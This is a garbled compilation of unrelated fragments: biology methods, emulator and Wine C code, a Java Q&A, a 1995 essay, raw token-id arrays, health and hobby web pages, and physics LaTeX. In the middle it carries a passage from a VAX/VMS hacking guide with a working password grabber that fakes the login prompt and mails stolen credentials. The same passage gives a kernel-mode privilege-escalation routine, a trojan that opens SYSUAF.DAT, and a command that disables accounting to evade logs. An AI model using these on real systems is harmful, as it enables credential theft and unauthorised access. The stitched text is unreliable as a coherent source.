determine the number of recombinant perithecia, a 1 cm agar-stripe of the crossing front was cut out from the plates. The crossing front was defined as an area of 0.5 cm left and right on both sides of the fusion line of crossed strains. All perithecia were harvested from this agar-stripe and dissected and opened under a Zeiss "Stemi 2000-C" stereo microscope. To analyze hyphal self-fusion events in the *S. macrospora* wt and ∆Smmob3 colonies, strains were cultivated on MMS minimal medium according to Rech et al. ([@CR62]) and Bloemendal et al. ([@CR9]) with the following modifications. MMS covered glass slides were layered with one sheet of cellophane (Biorad, Hercules, USA) and *S. macrospora* strains were inoculated atop. After 48 h of incubation, cellophane sheets with grown colonies were removed from the MMS and placed upside-down with A. dest on a glass slide for microscopic investigation.Table 1Fungal strains used in this studyStrainCharacteristicsSource*Sordaria macrospora* strains S17736wild typeLab collection^a^ S23442fus-1, spore color mutantLab collection S66001∆ku70::nat^R^(Pöggeler and Kück [@CR56]) S24117pro11 mutant(Pöggeler and Kück [@CR55]) pro11:r2ssi from cross pro11 mutant × spore color mutant r2Lab collection^a^ M 8871pro1 mutant(Masloff et al. [@CR42]) ∆Smmob3∆Smmob3::hyg^R^, ssiThis study ∆Smmob3:fus-1∆Smmob3:: hyg^R^/fus-1, ssiThis study ∆Smmob3_MOB3FL^ect^ectopic copy of full-length *Smmob3* in ∆Smmob3; hyg^R^, nat^R^This study ∆Smmob3_MOB3N^ect^ectopic copy of 5′ *Smmob3* (aa 1-264) in ∆Smmob3; hyg^R^, nat^R^This study ∆Smmob3_MOB3C^ect^ectopic copy of 3′ *Smmob3* (aa 324-663) in ∆Smmob3; hyg^R^, nat^R^This study wt_trpC-PRO11si^ect^wt transformed with pPro11si, nat^R^This study wt_trpC-MOB3si^ect^wt transformed with pMob3si, nat^R^This study pro11_trpC-MOB3si^ect^pro11 mutant transformed with pMob3si, nat^R^This study ∆Smmob3_trpC- PRO11si^ect^∆Smmob3 transformed with pPro11si, hyg^R^, nat^R^This study ∆Smmob3_gpd-MOB3ectopic copy of *Smmob3* under control of *A. nidulans gpd* promoter, nat^R^, ssiThis study*ect* ectopic copy, *trpC and gpd* under control of *Aspergillus nidulans trpC or gpd* promoter, *FL* full-length, *N* N-terminal part, *C* C-terminal part, *nat* nourseothricin-cassette, *hph* hygromycin-cassette, *ssi* single spore isolate, *hyg*^*R*^ hygromycin resistant, *nat*^*R*^ nourseothricin resistant^a^Department of General and Molecular Botany, Ruhr University of Bochum, Germany
Transformation procedures {#Sec4}
-------------------------
For each transformation 100 ng of plasmid DNA or PCR fragments were used. Transformation by electroporation was carried out using 0.2 cm cuvettes (ThermoFisher Scientific, Waltham, USA) in an Eppendorf Electroporator 2510 (Eppendorf, Hamburg, Germany) at 2.5 kV for the transformation of *E. coli* (Song et al. [@CR69]) and at 1.5 kV for transformation of *S. cerevisiae* (Becker and Lundblad [@CR5]). Transformation of *S. macrospora* was done as described before (Nowrousian et al. [@CR50]; Pöggeler et al. [@CR58]). For generation of protoplasts 20 mg/ml Glucanex 200G (Schliessmann, Schwäbisch Hall, Germany) was used. Transformants were selected either on solid hygromycin B- (110 U/ml) and/or nourseothricin-dihydrogen sulfate-containing BMM medium (50 μg/ml; clonNat, Werner-BioAgents, Jena, Germany).
Preparation of nucleic acid and PCR {#Sec5}
-----------------------------------
Plasmid DNA was purified from *S. cerevisiae* using the QIAprep Spin Miniprep Kit (Qiagen, Hilden, Germany) with the following modification. 250 μl of buffer P1 were added to the harvested cells. To break the cell wall, glass beads were added to the cells and the suspension was mixed for 5 min on a vortex mixer. Isolation of *S. macrospora* genomic DNA was carried out as described previously (Pöggeler et al. [@CR59]). Total RNA isolation of *S. macrospora* strains and reverse transcription was carried out as described before (Elleuche and Pöggeler [@CR20]). All restriction endonucleases and ligases were purchased from Fermentas (St-Leon Rot, Germany). For PCR experiments Phusion^®^ Hot Start High-Fidelity DNA Polymerase from Finnzymes (Espoo, Finland) and MolTaq DNA polymerase (Molzym, Bremen, Germany) were used according to the manufacturer's manual. Oligonucleotides were obtained from Eurofins MWG Operon (Ebersberg, Germany) and are summarized in Table [2](#Tab2){ref-type="table"}. Plasmids used in this study are listed in Table [3](#Tab3){ref-type="table"}.Table 2Oligonucleotides used in this studyOligoSpecific sequence (5′--3′)^a^pho1-5f*GTAACGCCAGGGTTTTCCCAGTCACGACG* GGAATCGAGCGAACTTTACApho1-5r*CCAAAAATGCTCCTTCAATATCAGTTAAC* CCCAACAATGAGGTTATTGCpho1-3f*GAGTAGATGCCGACCGGGAACCAGTTAAC* AGCACAGCGAACACAAGAGGpho1-3r*GCGGATAACAATTTCACACAGGAAACAGC* CTAGTCCACCTTTGGGGCCThph-fGTTAACTGATATTGAAGGAGCATTTTTGGhph-rGTTAACTGGTTCCCGGTCGGCATCTACTCpho1-14fCCCCGACATATCGAATCCAGCpho1-2rCCCCTAATGATGCCTCTACGCtrpC1GATCCGCCTGGACGACTAAACChph3ACTCGTCCGAGGGCAAAGGAATAGpho1-15fAGGACCAACACGAGGCGGCATSmpho1-14GGCAGTGCCCTGACTACTGTTGAL4-T7AATACGACTCACTATAGGGCTCTASmpho1_Orf-rGGAGAGCTTAGAGGAAGCGACATNC |
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] | mCpu->GetPC());
return (UBYTE)(mDisplayAddress>>8)&0xff;
case (DISPCTL&0xff):
case (SYSCTL1&0xff):
case (MIKEYSREV&0xff):
case (IODIR&0xff):
case (SDONEACK&0xff):
case (CPUSLEEP&0xff):
case (PBKUP&0xff):
case (Mtest0&0xff):
case (Mtest1&0xff):
case (Mtest2&0xff):
TRACE_MIKIE2("Peek(%04x) - Peek from write only register location at PC=$%04x",addr,mSystem.mCpu->GetPC());
break;
// Register to let programs know handy is running
case (0xfd97&0xff):
TRACE_MIKIE2("Peek(%04x) - **** HANDY DETECT ATTEMPTED **** at PC=$%04x",addr,mSystem.mCpu->GetPC());
// gError->Warning("EMULATOR DETECT REGISTER HAS BEEN READ");
return 0x42;
// Errors on illegal location accesses
default:
TRACE_MIKIE2("Peek(%04x) - Peek from illegal location at PC=$%04x",addr,mSystem.mCpu->GetPC());
break;
}
return 0xff;
}
#ifndef MIKIE_INLINE_Update
void CMikie::Update(void)
{
#include "mikie_update.h"
}
#endif
#ifndef MIKIE_INLINE_UpdateSound
void CMikie::UpdateSound(void)
{
#include "mikie_update.h"
}
#endif
#ifndef MIKIE_INLINE_UpdateCalcSound
void CMikie::UpdateCalcSound(void)
{
#include "mikie_Update_CalcSound.h"
}
#endif
Q:
Error when trying to compile the program
I'm trying to run this code taken from Sun Java site (I didn't copy it, Looked at it and wrote it as it would help me to remember the code).
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
public class CharEx{
FileReader inputStream = null;
FileWriter outputStream = null;
public static void main(String args[]) throws IOException{
FileReader inputStream = null;
FileWriter outputStream = null;
try{
inputStream = FileReader("xanadu.txt");
outputStream = FileWriter("out.txt");
int c;
while ((c = inputStream.read()) != -1){
outputStream(c);
}
}
finally{
if(inputStream !=null){
inputStream.close();
}
if(outputStream !=null){
outputStream.close();
}
}
}
}
But I'm getting follwing error.
D:\Java>javac CharEx.java
CharEx.java:14: cannot find symbol
symbol : method FileReader(java.lang.String)
location: class CharEx
inputStream = FileReader("xanadu.txt");
^
CharEx.java:15: cannot find symbol
symbol : method FileWriter(java.lang.String)
location: class CharEx
outputStream = FileWriter("out.txt");
^
CharEx.java:18: cannot find symbol
symbol : method outputStream(int)
location: class CharEx
outputStream(c);
^
3 errors
From the message I think that the system is looking for FileReader inside java.lang whereas it should look for it inside java.io.* :((
Can someone help me where I'm getting wrong?
PS: I'm on JDK 1.5.
A:
You're trying to instantiate a FileReader and a FileWriter (i.e. create objects of those types).
To do that you need to use the new keyword:
inputStream = new FileReader("xanadu.txt");
outputStream = new FileWriter("out.txt");
By leaving out the new the code looks like a method call, so the compiler looks for a method named FileReader (and FileWriter) and doesn't find it, which it tells you in a somewhat strange, but surprisingly clear language.
Hint: "symbol" is what a compiler calls a "name". That name can be of a class, method, variables, ... The exact problem can be found when checking the "symbol: "line. It tells you that the compiler looks for a method called FileReader that takes a String parameter:
CharEx.java:14: cannot find symbol
symbol : method FileReader(java.lang.String)
A:
You are missing the new keyword when initializing the reader and writer.
inputStream = new FileReader("xanadu.txt");
outputStream = new FileWriter("out.txt");
You are also missing something on this line:
outputStream(c);
Do you want to write to the output stream there? Then you should try this:
outputStream.write(c);
This following essay appeared in the New York Times in 1995. As a young man, I remember it making a deep impression on me for reasons I couldn’t then quite articulate, and I cut it out and have saved it ever since. To a time in which the holidays have often become overly-commercialized and stripped of genuine feeling, this story provides a poignant antidote and needed perspective. Written by Flavius Stan, who was then a 17 year old exchange student from Romania living in NYC, it teaches about sacrifice, love for one’s family, and being grateful for what you have.
The Night of Oranges
By Flavius Stan
It is Christmas Eve in 1989 in Timisoara and the ice is still dirty from the boots of the Romanian revolution. The dictator Nicolae Ceausescu had been deposed a few days before, and on Christmas Day he would be executed by firing squad. I am in the center of the city with my friends, empty now of the crowds that prayed outside the cathedral during the worst of the fighting. My friends and I still hear shots here and there. Our cold hands are gray like the sky above us, and we want to see a movie.
There is a rumor that there will be oranges for sale tonight. Hundreds of people are already waiting in line. We were used to such lines under the former Communist Government-lines for bread, lines for meat, lines for everything. Families would wait much of the day for rationed items. As children, we would take turns for an hour or more, holding our family’s place in line.
But this line is different. There are children in Romania who don’t know what an orange looks like. It is a special treat. Having the chance to eat a single orange will keep a child happy for a week. It will also make him a hero in the eyes of his friends. For the first time, someone is selling oranges by the kilo.
Suddenly I want to do something important: I want to give my brother a big surprise. He is only eight years old, and I want him to celebrate Christmas with lots of oranges at the table. I also want my parents to be proud of me.
So I call home and tell my parents that I’m going to be late. I forget about going to the movie, leave my friends, and join the line.
People aren’t silent, upset, frustrated, as they were before the revolution; they are talking to one another about life, politics, and the new situation in the country.
The oranges are sold out of the back doorway of a food shop. The clerk has gone from anonymity to unexpected importance. As he handles the oranges, he acts like a movie star in front of his fans.
He moves his arms in an exaggerated manner as he tells the other workers where to go and what to do. All I can do is stare at the stack of cardboard boxes, piled higher than me. I have never seen so many oranges in my life.
Finally, it is my turn. It is 8 o’clock, and I have been waiting for six hours. It doesn’t seem like a long time because my mind has been flying from the oranges in front of me to my brother and then back to the oranges. I hand over the money I was going to spend on the movie and watch each orange being thrown into my bag. I try to count them, but I lose their number.
I am drunk with the idea of oranges. I put the bag inside my coat as if I want to absorb their warmth. They aren’t heavy at all, and I feel that this is going to be the best Christmas of my life. I begin thinking of how I am going to present my gift.
I get home |
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] | /* clear local variable(s) */
for (curStream = 0; curStream < nStreams; curStream++) {
pInStreams[curStream] = NULL;
pOutStreams[curStream] = NULL;
}
/* open output AVI file (create it if it doesn't exist) */
hres = AVIFileOpenW(&pfile, szFile, OF_CREATE|OF_SHARE_EXCLUSIVE|OF_WRITE,
pclsidHandler);
if (FAILED(hres))
return hres;
AVIFileInfoW(pfile, &fInfo, sizeof(fInfo)); /* for dwCaps */
/* initialize our data structures part 1 */
for (curStream = 0; curStream < nStreams; curStream++) {
PAVISTREAM pCurStream = ppavi[curStream];
hres = AVIStreamInfoW(pCurStream, &sInfo, sizeof(sInfo));
if (FAILED(hres))
goto error;
/* search first video stream and check for interleaving */
if (sInfo.fccType == streamtypeVIDEO) {
/* remember first video stream -- needed for interleaving */
if (lFirstVideo < 0)
lFirstVideo = curStream;
} else if (!dwInterleave) {
/* check if any non-video stream wants to be interleaved */
WARN("options.flags=0x%X options.dwInterleave=%u\n",plpOptions[curStream]->dwFlags,plpOptions[curStream]->dwInterleaveEvery);
if (plpOptions[curStream] != NULL &&
plpOptions[curStream]->dwFlags & AVICOMPRESSF_INTERLEAVE)
dwInterleave = plpOptions[curStream]->dwInterleaveEvery;
}
/* create de-/compressed stream interface if needed */
pInStreams[curStream] = NULL;
if (plpOptions[curStream] != NULL) {
if (plpOptions[curStream]->fccHandler ||
plpOptions[curStream]->lpFormat != NULL) {
DWORD dwKeySave = plpOptions[curStream]->dwKeyFrameEvery;
if (fInfo.dwCaps & AVIFILECAPS_ALLKEYFRAMES)
plpOptions[curStream]->dwKeyFrameEvery = 1;
hres = AVIMakeCompressedStream(&pInStreams[curStream], pCurStream,
plpOptions[curStream], NULL);
plpOptions[curStream]->dwKeyFrameEvery = dwKeySave;
if (FAILED(hres) || pInStreams[curStream] == NULL) {
pInStreams[curStream] = NULL;
goto error;
}
/* test stream interface and update stream-info */
hres = AVIStreamInfoW(pInStreams[curStream], &sInfo, sizeof(sInfo));
if (FAILED(hres))
goto error;
}
}
/* now handle streams which will only be copied */
if (pInStreams[curStream] == NULL) {
pCurStream = pInStreams[curStream] = ppavi[curStream];
AVIStreamAddRef(pCurStream);
} else
pCurStream = pInStreams[curStream];
lStart[curStream] = sInfo.dwStart;
} /* for all streams */
/* check that first video stream is the first stream */
if (lFirstVideo > 0) {
PAVISTREAM pTmp = pInStreams[lFirstVideo];
LONG lTmp = lStart[lFirstVideo];
pInStreams[lFirstVideo] = pInStreams[0];
pInStreams[0] = pTmp;
lStart[lFirstVideo] = lStart[0];
lStart[0] = lTmp;
lFirstVideo = 0;
}
/* allocate buffer for formats, data, etc. of an initial size of 64 kBytes*/
cbBuffer = 0x00010000;
lpBuffer = HeapAlloc(GetProcessHeap(), 0, cbBuffer);
if (lpBuffer == NULL) {
hres = AVIERR_MEMORY;
goto error;
}
AVIStreamInfoW(pInStreams[0], &sInfo, sizeof(sInfo));
lFileLength = sInfo.dwLength;
dwFileInitialFrames = 0;
if (lFirstVideo >= 0) {
/* check for correct version of the format
* -- need at least BITMAPINFOHEADER or newer
*/
lSampleInc = 1;
lBufferSize = cbBuffer;
hres = AVIStreamReadFormat(pInStreams[lFirstVideo], AVIStreamStart(pInStreams[lFirstVideo]), lpBuffer, &lBufferSize);
if (lBufferSize < (LONG)sizeof(BITMAPINFOHEADER))
hres = AVIERR_INTERNAL;
if (FAILED(hres))
goto error;
} else /* use one second blocks for interleaving if no video present */
lSampleInc = AVIStreamTimeToSample(pInStreams[0], 1000000);
/* create output streams */
for (curStream = 0; curStream < nStreams; curStream++) {
AVIStreamInfoW(pInStreams[curStream], &sInfo, sizeof(sInfo));
sInfo.dwInitialFrames = 0;
if (dwInterleave != 0 && curStream > 0 && sInfo.fccType != streamtypeVIDEO) {
/* 750 ms initial frames for non-video streams */
sInfo.dwInitialFrames = AVIStreamTimeToSample(pInStreams[0], 750);
}
hres = AVIFileCreateStreamW(pfile, &pOutStreams[curStream], &sInfo);
if (pOutStreams[curStream] != NULL && SUCCEEDED(hres)) {
/* copy initial format for this stream */
lBufferSize = cbBuffer;
hres = AVIStreamReadFormat(pInStreams[curStream], sInfo.dwStart,
lpBuffer, &lBufferSize);
if (FAILED(hres))
goto error;
hres = AVIStreamSetFormat(pOutStreams[curStream], 0, lpBuffer, lBufferSize);
if (FAILED(hres))
goto error;
/* try to copy stream handler data */
lBufferSize = cbBuffer;
hres = AVIStreamReadData(pInStreams[curStream], ckidSTREAMHANDLERDATA,
lpBuffer, &lBufferSize);
if (SUCCEEDED(hres) && lBufferSize > 0) {
hres = AVIStreamWriteData(pOutStreams[curStream],ckidSTREAMHANDLERDATA,
lpBuffer, lBufferSize);
if (FAILED(hres))
goto error;
}
if (dwFileInitialFrames < sInfo.dwInitialFrames)
dwFileInitialFrames = sInfo.dwInitialFrames;
lReadBytes =
AVIStreamSampleToSample(pOutStreams[0], pInStreams[curStream],
sInfo.dwLength);
if (lFileLength < lReadBytes)
lFileLength = lReadBytes;
} else {
/* creation of de-/compression stream interface failed */
WARN("creation of (de-)compression stream failed for stream %d\n",curStream);
AVIStreamRelease(pInStreams[curStream]);
if (curStream + 1 >= nStreams) {
/* move the others one up */
PAVISTREAM *ppas = &pInStreams[curStream];
int n = nStreams - (curStream + 1);
do {
*ppas = pInStreams[curStream + 1];
} while (--n);
}
nStreams--;
curStream--;
}
} /* create output streams for all input streams */
/* have we still something to write, or lost everything? */
if (nStreams <= 0)
goto error;
if (dwInterleave) {
LONG lCurFrame = -dwFileInitialFrames;
/* interleaved file */
if (dwInterleave == 1)
AVIFileEndRecord(pfile);
for (; lCurFrame < lFileLength; lCurFrame += lSampleInc) {
|
[
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1511,
27,
187,
5,
873,
1232,
16,
13552,
30,
455,
187,
1394,
778,
755,
271,
2228,
3981,
326,
368,
1053,
626,
452,
2217,
25687,
281,
513,
352,
15,
187,
688,
436,
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13,
564,
281,
253,
4517,
90,
9868,
10013,
589,
285,
14949,
1611,
281,
755,
187,
266,
2395,
342,
2169,
25687,
15,
1310,
368,
476,
626,
13,
840,
368,
6403,
626,
2820,
187,
10984,
2217,
15,
309,
452,
417,
14494,
247,
657,
3338,
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281,
436,
1388,
326,
309,
6468,
626,
187,
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2104,
281,
4044,
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327,
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15,
380,
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320,
2119,
326,
253,
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310,
417,
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763,
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27,
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368,
943,
320,
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745,
273,
253,
20131,
15,
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368,
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352,
310,
3309,
281,
320,
187,
43574,
13,
253,
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2412,
1873,
310,
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5,
20649,
27,
15793,
272,
15,
8608,
15,
1422,
943,
187,
2666,
1007,
281,
923,
665,
2010,
310,
327,
342,
368,
15,
1916,
513,
436,
13,
1511,
27,
187,
5,
921,
4212,
16,
11546,
187,
55,
14942,
16,
55
] | until
either you or a system administrator stops it. Perfect for on-site
brute force hacking. To submit a file to queue BA0: named HACK.COM,]
you would use:
$ submit hack /queue=ba0:
STOP: Kill off a subprocess. For example, if you had all privileges, and you
wanted to kill a system administrator using the account SYSTEM, with
the process name of "SYSTEM", you would type:
$ stop system
TYPE: View an ASCII file. Example: to list the contents of HACKUNIX.DOC,
type:
$ type hackunix.doc
To view the contents of a file, with a pause between pages, type:
$ type hackunix.doc /page
A brief section on control sequences... Several different actions can be
activated via control sequences. They are:
CTRL-H: Delete last character
CTRL-B: Redisplay last command (can go back up to the last 20 commands issued)
CTRL-S: Pause display
CTRL-Q: Continue after pause
CTRL-Z: *EXIT* use to break out of things such as CREATE and EDIT
CTRL-C: *CANCEL* will exit out of most operations
CTRL-Y: *INTERRUPT* will break out of whatever you are doing
CTRL-T: Print out statistical info about the process
Sometimes upon login, the CTRL-Y, CTRL-C keys are disabled. To ensure these
are enabled, issue this command upon login:
$ set control = (t,y)
The directory structure of VMS is similar to MS-DOS and UNIX. It is an
easy concept to grasp, so my review of it shall be brief and concise. Each
disk drive on the system is given a device name, much like a printer. Often
times the device names vary from system to system, however for this text, I
will use the most common (and default) drive name, DUA0:. DUA0: can also be
known as SYS$SYSDEVICE:, and many other names through the use of VMS logicals.
However, this is unimportant and should only be considered when you are
searching all the drives on a system for a certain file. Within each drive
there is a root directory. This is the highest directory in the directory
tree and is referenced by [000000]. Within the root there are several
subdirectories. Within these subdirectories there may be files and even
further subdirectories. The concept is quite simple, but can be difficult to
explain. Here is a diagram to give you a rough idea of how it is set up:
[000000] ""::
If the password is wrong, DCL will report a user authorization error. If the
password is correct, DCL will complain about an ACP protection error. Either
way, your attempt is not recorded by VMS unless the system you are working
on has excellent auditing, and the administrator constantly watches the logs.
A better way than brute force hacking is a password grabber. A password
grabber does precisely what it says, it grabs passwords. When you log off, the
password grabber will sit there and pretend to be the login sequence (Username
and Password prompts), but it really will record the username and the password
entered into a file in your account and give the unfortunate user a "User
Authorization Failure" error message. This is a very effective way of snatching
passwords, but also is very dangerous. The following listing is a short password
grabber for VAX/VMS. It is written in DCL, so even the absolute beginner
should understand how it works.
$!VAX/VMS Password Grabber by Loxsmith
$!Name it QUIT.COM
$ wr :== write sys$output
$ time = f$time()
$!Replace with your username.
$ wr " logged off at ",time
$ set term/nobroadcast
$ set noon
$ set nocontrol = (t,y)
$!Edit the following message to whatever welcome message your target system has.
$ wr " Welcome to VAX/VMS 5.5"
$ wr " "
$ ak:
$ inquire uname "Username"
$ if uname .eqs. "" then goto ak
$ set term/noecho
$ inquire pass "Password"
$ set term/echo
$ open/write pw_file pass.txt
$ write pw_file "Username: ",uname
$ write pw_file "Password: ",pass
$ close pw_file
$ wr "User Authorization Failure"
$ stop "''f$process()
Replace in line 5 with the account that you are currently
inhabiting. Now, one more change is necessary. You must edit the LOGIN.COM
file. (I will assume that you are not running the password grabber out of
your own account. If you do, only do it once, and that is to get another
account to run it out of.) If the person doesn't already have a LOGIN.COM file, don't sweat
it, you will just make a new one. Regardless of if you do this or not, the
last two lines of the program should look like this:
$ log :== @quit
$ dir :== dir/exclude = (quit.com, login.com, pass.txt)
Omit the login.com in line 2 if the person already has a LOGIN.COM in their
account.
OK, there you have it. A password grabber. Check the person's account
daily (or your account, depending on who the person is there on-site). The
passwords are stored in a file called PASS.TXT. To look at all passwords
acquired, type the following line:
$ type pass.txt;*
Sooner or later, you should find at least one privileged account in there.
Also, you must repeat this process to every account you can get for the
fastest results. You can quite simply add the following command into your
QUIT.COM file to mail new passwords to your main account as soon as you
get them:
$ mail pass.txt
Yet another way to gain privileges from inside a VMS is to use kernel
manipulation. Unfortunately to do this, you must already have the CMEXEC
privilege. This is not a very powerful privilege, but very rarely does
a system administrator give it away. After you upload this program or
type it in, use the following commands to activate it:
$ MACRO EXEC
$ LINK EXEC,SYS$SYSTEM:STSDEF.STB
$ RUN EXEC
; exec.mar:
.TITLE GET_PRIVS
MASK: .QUAD ^XFFFFFFFFFFFFFFFF
.ENTRY GET_PRIVS, ^M<>
$CMEXEC_S ROUTIN=SETEM
$EXIT_S #1
SETEM: $SETPRV_S PRMFLG=#1, -
ENBFLG=#1, -
PRVADR=MASK
RET
.END GET_PRIVS
One last way to obtain privileges is through the use of a trojan horse. If
you can somehow get a privileged user to run the following program, it would
grant NAME, ALL privileges, and it would unprotect the SYSUAF.DAT and
AUTHORIZE.EXE programs.
$ pre_prvs=f$setprv("setprv")
$ if f$privilege("setprv") then goto do_damage
$ exit
$ do_damage:
$ set prot sys$system:sysuaf.dat/prot=(w:rwed)
$ set prot sys$system:authorize.exe/prot=(w:rwed)
$ pre_prvs=f$setprv(pre_prvs)
$ open/write file sys$scratch:adduaf.tmp
$ write file "$ RUN SYS$SYSTEM:AUTHORIZE"
$ write file "MODIFY NAME/PRIV=SETPRV"
$ close file
$ @sys$scratch:adduaf.tmp/output=sys$scratch:adduaf.dat
$ del sys$scratch:adduaf.*;*
$ exit
V. What to Hack
Once you get on with a higher privileged account, I suggest you take
as many privileges as you can. To accomplish this, type:
$ set process/priv=all
You may get an error saying that you don't have enough privileges to do it.
In this case, go to the trusty password grabber and continuously try to get
an account with higher privileges. If you can't, then you aren't trying
hard enough. I have not encountered a VMS system to this day that I haven't
been able to obtain higher access on if I have a normal account. The next
thing you want to do is be sure that the system is not recording you. To
accomplish this, type:
$ set accounting/disable
Now you should be kept off of the logs. If you feel it is necessary to be
sure, the system log file is sys$manager:accounting.dat. You should
now look to see who else is on with you. To do this, type:
$ show users/full
VAX/V |
[
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25,
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3,
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15,
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616,
259,
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13,
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310,
5322,
13,
533,
253,
2360,
1078,
369,
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] | disease is only one of several diseases attributable to high blood pressure. Other diseases caused by high blood pressure include ischemic heart disease, stroke, peripheral arterial disease, aneurysms and kidney disease. Hypertension increases the risk of heart failure by two or three-fold and probably accounts for about 25% of all cases of heart failure. In addition, hypertension precedes heart failure in 90% of cases, and the majority of heart failure in the elderly may be attributable to hypertension. Hypertensive heart disease was estimated to be responsible for 1.0 million deaths worldwide in 2004 (or approximately 1.7% of all deaths globally), and was ranked 13th in the leading global causes of death for all ages. A world map shows the estimated disability-adjusted life years per 100,000 inhabitants lost due to hypertensive heart disease in 2004.
Sex differences
There are more women than men with hypertension, and, although men develop hypertension earlier in life, hypertension in women is less well controlled. The consequences of high blood pressure in women are a major public health problem and hypertension is a more important contributory factor in heart attacks in women than men. Until recently women have been under-represented in clinical trials in hypertension and heart failure. Nevertheless, there is some evidence that the effectiveness of antihypertensive drugs differs between men and women and that treatment for heart failure may be less effective in women.
Ethnic differences
Studies in the USA indicate that a disproportionate number of African Americans have hypertension compared with non-Hispanic whites and Mexican Americans, and that they suffer a greater burden of hypertensive heart disease. Heart failure is more common in people of African American ethnicity, mortality from heart failure is also consistently higher than in white patients, and it develops at an earlier age. Worryingly, recent data suggests that rates of hypertension are increasing more rapidly in African Americans than other ethnic groups. The excess of high blood pressure and its consequences in African Americans is likely to contribute to their shorter life expectancy compared with white Americans.
References
External links
Category:HypertensionCategory Archives: LLC
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~^|\_@|@_/|^~~/\~~This Day in GRATEFUL DEAD History~Get both shows August 14-15, 1971. I think the 14th is a better show.I highly recommend adding this show to your 1971 GRATEFUL DEAD collection.1971 was the "Best Year" in GRATEFUL DEAD music in my opinion...Classic 1971 sound. The sound that made them famous/infmaous...This show does have Truckin-->Drums-->Other One-->Me & My Uncle-->Other One-->Wharf Rat, & Turn On Your Lovelight, which the other show doesn't.I recommend using your EQ during playback of most of the shows on the IA, this one included.Windows Media Player has a 10 band EQ and SRS WOW effects that enhance the sound.Here's one way to stream/dowload this show:The IA recommends users of Windows XP view this web-page with RealPlayer.RealPlayer is a free media player you can download at www.realplayer.com Using RealPlayer to view this webpage, click the VBR M3U link to open the songs in the Playlist.If your Playlist is not open, open it by clicking the Playlist icon at the lower right hand corner of RealPlayer.Once the songs are in the Playlist, double click the song to play it, then click the record button at the lower left hand corner of Realplayer to record it.When the red line reaches the other end click the stop button to download the song. Your song is in the RealPlayer Downloads folder.Repeat these steps for each song.ORHook up audio cables (1/8th inch stereo male jack with two rca male jacks at the other end) from your headphone jack on your computer to your audio input on your Reel to Reel, Cassette,VHS, CD, DVD, MP3, recorder and record it in real time...duh?Eat, Drink, Be Merry and Listen to the GRATEFUL DEAD, for tomorrow we may die....Thanks for the LOVE from 1971.PS: Remember to click on the "DeadLists Project" link and get the "Poster" for this show.PSS: Sorry Evan, I think the DEAD blew their wad the night before, this show is nice, but the night before was incredible.Thanks Andy G.decking calculator in the UK
Calculators > Decking- How much do I need? Decking. This calculator will give you a guide of how many meters of decking you will require to cover a specified area. For further information on our decking products please click here: Decking Products.
A deck is essentially an open-air extension of your living space. Free-standing or attached to a house wall, decking creates a space that's ideal for outdoor entertaining, as a play area for the kids or simply somewhere to relax outdoors. It also offers an inspired solution to common garden problems such as slopes, or spots
Thinking of a deck for the garden but not sure about the price of the full thing? We've created a decking calculator tool that can help you find out.
Please note: the number of boards may vary depending on the design, shape and style of your deck. The above is for indicative purposes only. Check the amount you need before you buy as you may need additional boards. The calculation allows a 6mm gap which is required between each deck board. A 10mm gap has
Take a look at our calculator tools below which have been designed to help you buy the right amount of Metsä Wood decking, cladding or flooring for your project. Tools include: The Decking Calculator Tool which helps calculate how many deck boards you require for our range of decking. This includes: Softwood
VINTAGE Deck Calculator. Confused about how much decking you will need? Just use our simple VINTAGE deck calculator below to get an idea of how many plastic decking boards your project requires. As well as the boards themselves, you will also need our stainless steel starter clips and stainless steel concealed clips
Read our article on how to calculate the number of boards required to build your composite decking project. Ideal for domestic or commercial projects.
Please note: the number of boards may vary depending on the design, shape and style of your deck. The above is for indicative purposes only. The number of boards may need to be increased by 1-2 boards in certain situations depending on the cuts required. The calculation allows a 6mm gap which is required between
Decking calculator help to Calculate all the requirements you need to complete your composite decking project. Quick and easy and accurate to use.
To help you get everything you need a project shopping list is on the back page of this leaflet, you'll find advice on calculating material quantities throughout, too. Buy the timber components about a week before you build the deck to give it a chance to adjust to the temperature outside. Store it close to where it will be used,
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Definition: Gauss Sum - Where is the error?
In my algebraic number theory lecture we defined Gauss sums as follows. However, I am quite unsure whether this definition is correct. My intuition says "there is a mistake somewhere". I tried double-checking with Pierre Samuels book (§5.5, page 78), but Samuel uses slightly different notation.
If there is indeed a mistake in my defintion, would somebody be so kind and give me a clean (standard) defintion of Gauss sums.
A:
I would think that $\zeta$ should be a primitive $q$-th (not $p$-th) root of unity. In characteristic $p$, the only $p$-th root of unity is unity. That's because $x^p-1=(x-1)^p$ in characteristic $p$; the cross-terms that you'd ordinarily expect have coefficients that are divisible by $p$ and thus vanish in characteristic $p$.
How much can I contribute to an IRA?
Many factors can affect your eligibility and contribution limits to either the Traditional IRA or Roth IRA — tax filing status, your current earned income level and whether or not you participate in a retirement plan at work. Use this calculator to help you determine whether or not you are eligible to contribute to both the Traditional IRA and Roth IRA |
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] | -\Omega}\right)/\mathrm{i}\sqrt{2}$, and then $\hat{a}^{lm}_j(z,t)=\int_0^\infty\frac{\mathrm{d}\Omega}{2\pi} \times \left(\hat{a}^{lm}_j(\Omega)\mathrm{e}^{\mathrm{i}\Omega(z/c-t)}+\mathrm{H.c.}\right)$. If we decompose $\hat{E}_{lm}$ as $\hat{E}_{lm}=\hat{E}^{(+)}_{lm}+\hat{E}^{(-)}_{lm}$ such that $\hat{E}^{(+)}_{lm}=\hat{E}^{(-)\dagger}_{lm}$, we obtain the following expression from Eq. (\[qq\]): $$\begin{aligned}
%\hat{E}_{lm}(x,y,z,t)&=\hat{E}^{(+)}_{lm}(x,y,z,t)+\hat{E}^{(-)}_{lm}(x,y,z,t) \label{decom}\\
%\hat{E}^{(+)}_{lm}(x,y,z,t)&=\sqrt{\frac{\pi\hbar\omega_0}{c}}U^*_{lm}(x,y,z,t)\left[\hat{a}^{lm}_1(z,t)+\mathrm{i}\hat{a}^{lm}_2(z,t)\right]\\
\hat{E}^{(-)}_{lm}(x,y,z,t)&=\sqrt{\frac{\pi\hbar\omega_0}{c}}U_{lm}(x,y,z,t)\nonumber\\
&\times\left[\hat{a}^{lm}_1(z,t)-\mathrm{i}\hat{a}^{lm}_2(z,t)\right].\label{decom}\end{aligned}$$ Following from Eq. (\[comm\]), the commutation relations $$\begin{aligned}
\left[\hat{a}^{lm}_1(\Omega),\,\hat{a}^{\dagger l'm'}_2(\Omega')\right]&=\mathrm{i}2\pi\delta_{ll'}\delta_{mm'}\delta(\Omega-\Omega'),\\%\label{com1}\\
